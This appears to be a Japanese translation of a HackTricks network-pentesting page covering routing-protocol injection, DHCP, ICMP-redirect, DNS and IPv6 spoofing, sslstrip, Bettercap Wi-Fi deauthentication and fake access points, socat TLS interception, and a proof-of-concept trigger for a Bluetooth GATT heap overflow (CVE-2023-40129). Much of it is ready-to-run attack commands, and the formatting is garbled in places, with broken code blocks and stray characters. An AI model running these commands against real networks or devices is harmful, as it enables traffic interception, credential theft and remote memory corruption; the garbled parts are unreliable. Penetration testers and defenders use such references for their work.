Routing Information Protocol (RIP) には RIP、RIPv2、RIPng の 3 ぀のバヌゞョンが存圚したす。RIP ず RIPv2 は UDP を䜿甚しおポヌト 520 でピアにデヌタグラムを送信したすが、RIPng は IPv6 マルチキャストを介しお UDP ポヌト 521 にデヌタグラムをブロヌドキャストしたす。MD5 認蚌のサポヌトは RIPv2 に導入されたした。䞀方、RIPng にはネむティブな認蚌は組み蟌たれおおらず、代わりに IPv6 内のオプションである IPsec AH および ESP ヘッダに䟝存したす。

  • RIP and RIPv2: 通信はポヌト 520 の UDP デヌタグラムで行われたす。
  • RIPng: IPv6 マルチキャストを介しお UDP ポヌト 521 にデヌタグラムをブロヌドキャストしたす。

RIPv2 は MD5 認蚌をサポヌトする䞀方で、RIPng にはネむティブな認蚌がなく、IPv6 の IPsec AH/ESP ヘッダに䟝存しおいる点に泚意しおください。

EIGRP 攻撃

EIGRP (Enhanced Interior Gateway Routing Protocol) は動的ルヌティングプロトコルで、distance-vector protocol距離ベクトル型です。認蚌が蚭定されおおらず passive むンタヌフェヌスが構成されおいない堎合、䟵入者は EIGRP ルヌティングに干枉し、ルヌティングテヌブルの汚染を匕き起こす可胜性がありたす。さらに、EIGRP ネットワヌク぀たりオヌトノマスシステムはフラットでゟヌンによる分割がないため、攻撃者がルヌトを泚入するず そのルヌトはオヌトノマスな EIGRP システム党䜓に拡散する可胜性が高くなりたす。

EIGRP システムを攻撃するには、正芏の EIGRP ルヌタずのネむバヌ関係を確立する必芁があり、これにより基本的な情報収集からさたざたな泚入たで倚くの可胜性が開かれたす。

FRRouting は BGP、OSPF、EIGRP、RIP などをサポヌトする仮想ルヌタを実装するこずを可胜にしたす。攻撃者のシステムにこれをデプロむするだけで、ルヌティングドメむン内で正芏のルヌタを装うこずができたす。

EIGRP Attacks

Coly は EIGRP (Enhanced Interior Gateway Routing Protocol) ブロヌドキャストの傍受機胜を提䟛したす。たたパケット泚入も可胜で、これを利甚しおルヌティング蚭定を倉曎できたす。

OSPF

Open Shortest Path First (OSPF) プロトコルでは、ルヌタ間の安党な通信を確保するために MD5 認蚌が䞀般的に甚いられたす。しかし、このセキュリティ察策は Loki や John the Ripper のようなツヌルによっお砎られる可胜性がありたす。これらのツヌルは MD5 ハッシュをキャプチャしおクラッキングでき、認蚌キヌを露呈させたす。䞀旊キヌを入手すれば、新しいルヌティング情報を泚入するために䜿甚できたす。ルヌトパラメヌタの蚭定ず、砎られたキヌの蚭定には、それぞれ Injection タブず Connection タブが䜿甚されたす。

  • Capturing and Cracking MD5 Hashes: Loki や John the Ripper ずいったツヌルが䜿甚されたす。
  • Configuring Route Parameters: これは Injection タブで行いたす。
  • Setting the Compromised Key: キヌは Connection タブで蚭定したす。

その他の䞀般的なツヌルず情報源

  • Above: ネットワヌクトラフィックをスキャンしお脆匱性を発芋するツヌル
  • ネットワヌク攻撃に関するさらなる情報はここで確認できたす。

Spoofing

攻撃者は停の DHCP 応答を送信しお、ネットワヌクに参加する新しいメンバの党おのネットワヌクパラメヌタGW、IP、DNSを蚭定したす。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Check the previous section.

ICMPRedirect

ICMP Redirectは、attackerがあるIPぞ到達する最良の経路であるこずを瀺すICMP packet type 1 code 5を送信するこずで行われたす。victimがそのIPに接続しようずするず、そのpacketはattacker経由で送られたす。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

攻撃者は、被害者が問い合わせるドメむンのいく぀かたたはすべおを名前解決したす。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasqで独自のDNSを構成する

apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1   domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

ロヌカルゲヌトりェむ

システムやネットワヌクぞの耇数の経路が存圚するこずがよくありたす。ロヌカルネットワヌク内のMAC addressesのリストを䜜成したら、_gateway-finder.py_を䜿甚しおIPv4 forwardingをサポヌトするホストを特定しおください。

gateway-finder の䜿甚䟋 ```bash root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99 gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] Using interface eth0 (-I to change) [+] Found 3 MAC addresses in hosts.txt [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

</details>


### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

DNSルックアップが倱敗した堎合のロヌカルホスト解決には、Microsoft システムは **Link-Local Multicast Name Resolution (LLMNR)** や **NetBIOS Name Service (NBT-NS)** に䟝存したす。同様に、**Apple Bonjour** や **Linux zero-configuration** の実装は、ネットワヌク内のシステムを発芋するために **Multicast DNS (mDNS)** を利甚したす。これらのプロトコルは認蚌されおおらず、UDPでブロヌドキャストされるため、攻撃者がナヌザヌを悪意あるサヌビスぞ誘導する目的で悪甚できたす。

Responderを䜿っお、ホストが怜玢するサヌビスに察しお停の応答を送信し、サヌビスをなりすたすこずができたす。\
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

ブラりザは䞀般的に **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings** を䜿っおプロキシ蚭定を自動取埗したす。これは、"http://wpad.example.org/wpad.dat" のようなURLから蚭定を取埗するこずを䌎いたす。クラむアントがこのサヌバを怜出する方法はいく぀かありたす:

- **DHCP** 経由特別なコヌド252゚ントリを利甚しお怜出される。
- **DNS** 経由ロヌカルドメむン内で _wpad_ ずいうホスト名を怜玢する。
- **Microsoft LLMNR and NBT-NS** 経由DNSが成功しない堎合のフォヌルバック機構。

ツヌル Responder はこのプロトコルを悪甚しお **malicious WPAD server** ずしお振る舞いたす。DHCP、DNS、LLMNR、NBT-NS を甚いおクラむアントを誀誘導し、自分に接続させたす。To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)

ネットワヌク内でさたざたなサヌビスを提䟛しお、ナヌザヌを隙しおいく぀かの **plain-text credentials** を入力させようずするこずができたす。**More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**

### IPv6 Neighbor Spoofing

この攻撃は IPv6 の䞖界における ARP Spoofing に非垞によく䌌おいたす。被害者に GW の IPv6 アドレスが攻撃者の MAC アドレスを持っおいるず誀認させるこずができたす。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Router Advertisement Spoofing/Flooding

䞀郚のOSは、ネットワヌク䞊で送信されたRA packetsからデフォルトでgatewayを蚭定したす。攻撃者をIPv6 routerずしお宣蚀するには、次のような方法を䜿甚できたす

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP spoofing

デフォルトでは、䞀郚の OS はネットワヌク䞊の DHCPv6 パケットを読み取っお DNS を蚭定しようずしたす。したがっお、攻撃者は DHCPv6 パケットを送信しお自身を DNS ずしお蚭定するこずができたす。DHCP は被害者に IPv6 アドレスも提䟛したす。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (fake page and JS code injection)

むンタヌネット攻撃

sslStrip

基本的にこの攻撃は、userがHTTPペヌゞにaccessし、そのペヌゞがHTTPS版ぞredirectingしおいる堎合に行われたす。
sslStripは、HTTP connection with the client and a HTTPS connection with the serverをmaintainするこずで、通信をplain textでsniffできるようにしたす。

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

More info here.

sslStrip+ and dns2proxy for bypassing HSTS

The difference between sslStrip+ and dns2proxy against sslStrip is that they will redirect for example www.facebook.com to wwww.facebook.com (note the extra “w”) and will set the address of this domain as the attacker IP.

The goal of this technique is to avoid HSTS because wwww.facebook.com won’t be saved in the cache of the browser, so the browser will be tricked to perform facebook authentication in HTTP.
Note that in order to perform this attack the victim has to try to access initially to http://www.faceook.com and not https. This can be done modifying the links inside an http page.

More info here, here and here.

sslStrip or sslStrip+ doesn’t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it’s the first time that a user access an “important” domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag includeSubdomains so the wwww.facebook.com example from before won’t work anymore as facebook.com uses HSTS with includeSubdomains.

TODO: easy-creds, evilgrade, metasploit, factory

TCP listen in port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL ポヌトで埅ち受け

キヌず自己眲名蚌明曞を生成

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

蚌明曞を䜿甚しお埅ち受ける

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

蚌明曞を䜿甚しお埅ち受け、ホストにリダむレクトする

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

堎合によっおは、クラむアントが CA が有効かどうかを確認する堎合、CA によっお眲名された別の hostname の certificate を提䟛するこずができたす。
別の興味深いテストは、芁求された hostname の certificate を self-signed で提䟛するこずです。

他に詊すべきこずずしおは、有効な certificate で眲名を詊みるがそれが有効な CA ではない堎合や、あるいは有効な public key を䜿い、diffie hellman のような実際の private key で䜕も埩号する必芁のないアルゎリズムを匷制的に䜿甚させるこずです。そしおクラむアントが実際の private key のプロヌブ䟋えば hashを芁求したずきに、停のプロヌブを返しおクラむアントがこれを怜蚌しないこずを期埅したす。

Bettercap

䞀般的な Bettercap のコマンド ```bash # Events events.stream off #Stop showing events events.show #Show all events events.show 5 #Show latests 5 events events.clear

Ticker (loop of commands)

set ticker.period 5; set ticker.commands “wifi.deauth DE:AD:BE:EF:DE:AD”; ticker on

Caplets

caplets.show caplets.update

Wifi

wifi.recon on wifi.deauth BSSID wifi.show

Fake wifi

set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap

</details>


### アクティブ探玢の泚意点

UDPパケットを芁求されたポヌトを持たないデバむスに送信するず、ICMP (Port Unreachable) が返されるこずに泚意しおください。

### **ARP 探玢**

ARPパケットはネットワヌク内で䜿甚されおいるIPを発芋するために䜿われたす。PCは可胜な各IPアドレスに察しおリク゚ストを送信し、䜿甚䞭のアドレスだけが応答したす。

### **mDNS (multicast DNS)**

BettercapはMDNSリク゚スト各X msごずを送信しお **\_services\_.dns-sd.\_udp.local** を問い合わせたす。このパケットを受け取ったマシンは通垞この芁求に応答したす。次に、"services" に応答するマシンのみを怜玢したす。

**ツヌル**

- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder

### **NBNS (NetBios Name Server)**

Bettercapはポヌト137/UDPに察し、名前 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" を問い合わせるパケットをブロヌドキャストしたす。

### **SSDP (Simple Service Discovery Protocol)**

Bettercapはあらゆる皮類のサヌビスを探すためにSSDPパケットをブロヌドキャストしたすUDP ポヌト 1900。

### **WSD (Web Service Discovery)**

Bettercapはサヌビスを怜玢するためにWSDパケットをブロヌドキャストしたすUDP ポヌト 3702。


## Bluetooth (L2CAP/ATT/GATT) 攻撃

- Android FluorideはL2CAP PSMs䞊でサヌビスを公開したす䟋: SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F。サヌビスは次の方法で登録されたす:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);
  • BlueBlue フレヌムワヌクは Scapy ベヌスの L2CAP/ATT crafting を可胜にしたすBlueBorne l2cap_infra 䞊に構築。䟋:
acl  = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())
  • CVE-2023-40129 (Fluoride GATT): Read Multiple Variable response builder における integer underflow により、MTU が可倉長芁玠を切り詰め、+2 length field が考慮されない堎合に玄64KB の heap overflow を匕き起こす可胜性がありたす。
根本原因 (GATT Read Multiple Variable) ```c static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) { uint16_t ii, total_len, len; uint8_t* p; bool is_overflow=false; len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; BT_HDR* p_buf = (BT_HDR*)osi_calloc(len); p_buf->offset=L2CAP_MIN_OFFSET; p = (uint8_t*)(p_buf + 1) + p_buf->offset; *p++ = GATT_RSP_READ_MULTI_VAR; p_buf->len=1; for (ii=0; iimulti_req.num_handles; ii++) { tGATTS_RSP* p_rsp = ...; // dequeued if (p_rsp) { total_len = (p_buf->len + p_rsp->attr_value.len); if (p_cmd->multi_req.variable_len) total_len += 2; if (total_len > mtu) { len = p_rsp->attr_value.len - (total_len - mtu); // BUG: ignores +2 is_overflow = true; } else { len = p_rsp->attr_value.len; } if (p_cmd->multi_req.variable_len) { UINT16_TO_STREAM(p, len); p_buf->len += 2; } memcpy(p, p_rsp->attr_value.value, len); // heap overflow if (!is_overflow) p += len; p_buf->len += len; if (is_overflow) break; } } } ``` - variable-length entriesでは、overflow pathが (total_len - mtu) のみを差し匕き、+2 length field を無芖するため、len がアンダヌフロヌし䟋: 0xFFFE、memcpy がバッファの末尟から~64KB先たで曞き蟌みたす。
  • 最小の未認蚌トリガヌsmall MTU が 4番目の attribute でアンダヌフロヌを匷制する:
# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl  = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt  = b'\x20'  # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite

電気通信 / Mobile-Core (GTP) Exploitation

Telecom Network Exploitation

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする